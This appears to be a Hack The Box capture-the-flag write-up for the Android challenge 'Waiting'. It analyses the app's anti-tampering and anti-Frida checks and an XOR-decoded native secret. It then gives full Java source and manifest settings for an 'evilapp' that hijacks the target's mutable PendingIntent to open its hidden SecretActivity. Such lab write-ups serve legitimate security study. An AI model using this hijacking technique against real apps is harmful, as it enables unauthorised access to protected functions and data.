HTB | Waiting

Machine - https://app.hackthebox.com/challenges/454

File - app-release.apk

Skill Learned

  • Learn more about exploiting mutable Pending Intents.

  • Learn how to develop custom APKs for automating the exploitation process.

Enumeration

Running the application

On clicking on the Generator button we get a page for entering information

After filling up the details, we get the token

Analysing the Source code

Native Library

On checking the code, we found the native library being loaded in MainActivity

    static {
        System.loadLibrary("native-lib");
    }
  • This is a static block, executed when the class is loaded.

  • System.loadLibrary("native-lib") loads a native shared library.

  • The name passed does not include the lib prefix or file extension; the JVM handles that based on the OS.

We found the libnative-lib.so in Resources/lib/x86_64/

We have also found libsecrets.so which is being called in SecretActivity

There is a creation of a Pending Intent in MainActivity

In Android, a PendingIntent is a token that you can give to another application or the Android system to perform an action on your behalf. It's often used in scenarios where you want to delegate an action to be performed in the future, even if your application is not running.

Refer below article for better understanding

onCreate() method sets up the UI and handles a secret code path based on an intent extra:

If Secret == true:

  • Runs c.a(this), which performs:

    • DEX checksum verification

    • Signature verification

    • Package name verification

  • If all checks pass:

    • It launches SecretActivity

  • If a custom exception a.C0031a is thrown (likely from failing those checks):

    • The app closes after 5 seconds

If Secret == false (normal flow):

  • Shows a UI with input fields:

    • Name, surname, email, password

    • Three checkboxes (possibly representing age categories or consents)

Analysing MenuActivity.smali

    move-result-object p1

    const-string v0, "Secret"

    const/4 v1, 0x0

    invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z

    move-result p1

    if-eqz p1, :cond_0

    :try_start_0
    invoke-static {p0}, Lcom/example/waiting/utils/c;->a(Landroid/content/Context;)V

    new-instance p1, Landroid/content/Intent;

    const-class v0, Lcom/example/waiting/SecretActivity;

    invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

Let’s break down the code

invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
move-result p1
if-eqz p1, :cond_0

Checks if the Intent extra "Secret" is true, and only then proceeds to:

invoke-static {p0}, Lcom/example/waiting/utils/c;->a(Landroid/content/Context;)V
new-instance p1, Landroid/content/Intent;
const-class v0, Lcom/example/waiting/SecretActivity;
invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

So if Secret == true, it:

  1. Runs anti-tamper check: c.a(context)

  2. Creates an intent for SecretActivity

Since there are anti-tampering checks in place, even if we patch the app, it will not display the secret, thanks to the anti-tampering checks!

Anti-Tampering Check: c.a(context)

The method c.a(Context context) performs multiple integrity checks:

public static void a(Context context) {
    long parseLong = Long.parseLong(context.getResources().getString(R.string.dex_crc));
    String string = context.getResources().getString(R.string.sign_md5);
    String string2 = context.getResources().getString(R.string.pck);
    
    b.a.a.a aVar = new b.a.a.a(context);
    aVar.a(parseLong);   // check DEX CRC
    aVar.a(string2);     // check package name
    aVar.b(string);      // check signing cert MD5
    aVar.a(true);        // enable checks?
    aVar.b(false);       // maybe disable debug mode?
    aVar.b();            // actually perform the checks
}

This means:

  • DEX CRC is validated.

  • App signature (MD5) is verified.

  • Package name is checked.

  • Then aVar.b() likely throws an exception (probably a.C0031a) if any check fails.

And if it fails? It triggers this code:

new Handler().postDelayed(() -> {
    MenuActivity.this.k();  // calls finishAndRemoveTask(); System.exit(0);
}, 5000);

Therefore, it is actively terminating the app if tampering is detected.

Decompiling the library

libnative-lib.so

there is a function to detect Frida (part of anti-tampering ?)

detectfrida

It is probably typical anti-Frida logic:

  • Calling syscall() to open and read /proc/self/maps

  • Looking for:

    • Presence of suspicious libraries like frida-agent.so, libfrida-gadget.so

    • Memory mappings with [rwxp] (read-write-execute) flags — Frida does this

  • Checking ELF headers or memory protections manually

  • Printing log messages like "No executable section found. Suspicious" if anomalies are found

  • Possibly terminating the app or triggering a silent failure

There is a function Java_com_example_waiting_Secrets_getdxXEPMNe which is heavily obfuscated, but it's likely responsible for decrypting a secret string or key at runtime.

This function is used to return a decoded string (likely a secret like an API key, encryption key, or flag) by XOR'ing two arrays of bytes (probably encrypted data and a key). The function is called from Java via JNI.

Decryption Logic

The core loop of the function:

bVar2 = *local_338[lVar6];  // Encrypted byte
bVar1 = *local_1b8[lVar6];  // Key byte
<--SNIP-->
<--SNIP-->
*(byte *)((long)pvVar3 + uVar7) = bVar2 ^ bVar1;

It XORs two arrays:

  • local_338: Encrypted data

  • local_1b8: XOR key

So:

decrypted_byte = encrypted_byte ^ key_byte;

Exploitation

Since we can't use Frida (because of anti-tampering), we can create an app that will trigger the intent and BroadcastReceiver from our test app to the waiting (main app) app and get the flag or secret.

  • First, we need to create and register a receiver in the evil app

  • Edit AndroidMainfest.xml and build.gradle.kts (which is in evilapp\app)

  • Install the evil app on the emulator.

  • Disable USB debugging

  • Open the Waiting app and do not click on the Menu button

  • Send the app in the background

  • Open the evil app and wait. The SecretActivity will appear with the secret flag displayed.

MainActivity.java

package com.example.evilapp;

import static android.content.ContentValues.TAG;

import androidx.appcompat.app.AppCompatActivity;

import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

    public static class MyReceiver extends BroadcastReceiver{

        @Override
        public void onReceive(Context context, Intent intent) {
            PendingIntent fromOtheApp = (PendingIntent)
                    intent.getParcelableExtra("com.example.waiting.INTENT");
            //System.out.println("Intent Recieved");
            Log.d(TAG, "Intent Received");
            if (fromOtheApp != null){
                Runnable theTimeHasCome = new Runnable() {
                    @Override
                    public void run() {
                        try {
                            //System.out.println("Broadcast activated");
                            Log.d(TAG, "Broadcast activated");
                            Intent HijackIntent = new Intent();
                            HijackIntent.putExtra("Secret",true);
                            fromOtheApp.send(context.getApplicationContext(),0,HijackIntent,null,null);
                            //System.out.println("Pending Intent Send");
                            Log.d(TAG, "PendingIntent Sent");
                        }catch (PendingIntent.CanceledException e){
                            //e.printStackTrace();
                            Log.e(TAG, "PendingIntent failed to send", e);
                        }
                    }
                };
                (new Handler()).postDelayed(theTimeHasCome,5000);
            }
            //else System.out.println("You shouldn't have come here");
            else Log.d(TAG, "You shouldn't have come here");
        }
    }
}

This is a Java class (MainActivity) in the package com.example.evilapp. Inside it, there's a static inner class MyReceiver that extends BroadcastReceiver.

This receiver is designed to:

  1. Receive a broadcast from another app.

  2. Extract a PendingIntent from the received Intent.

  3. After a 5-second delay, it triggers the PendingIntent with a new Intent carrying custom data ("Secret": true).

Key Components

  1. BroadcastReceiver: MyReceiver

This is a component that listens for system-wide or custom app-specific broadcasts.

PendingIntent fromOtheApp = (PendingIntent)
    intent.getParcelableExtra("com.example.waiting.INTENT");
  • It extracts a PendingIntent from the broadcasted Intent using the key "com.example.waiting.INTENT".

  1. Runnable theTimeHasCome

A Runnable is defined and posted to a Handler (i.e., executed after a 5-second delay).

Intent HijackIntent = new Intent();
HijackIntent.putExtra("Secret",true);
fromOtheApp.send(context.getApplicationContext(),0,HijackIntent,null,null);
  • This code sends the hijacked PendingIntent using a custom Intent that includes extra data ("Secret": true).

  • The use of PendingIntent.send() allows the app to impersonate or control another app’s logic if the original PendingIntent allows it.

Build.gradle.kts / AndroidManifest.xml

  • change targetSdk = 25

  • Add the below receiver in AndroidManifest.xml

        <receiver android:name=".MainActivity$MyReceiver"
            android:exported="true"
            android:enabled="true">
            <intent-filter>
                <action android:name="com.example.waiting.RECEIVED" />
            </intent-filter>
        </receiver>

Last updated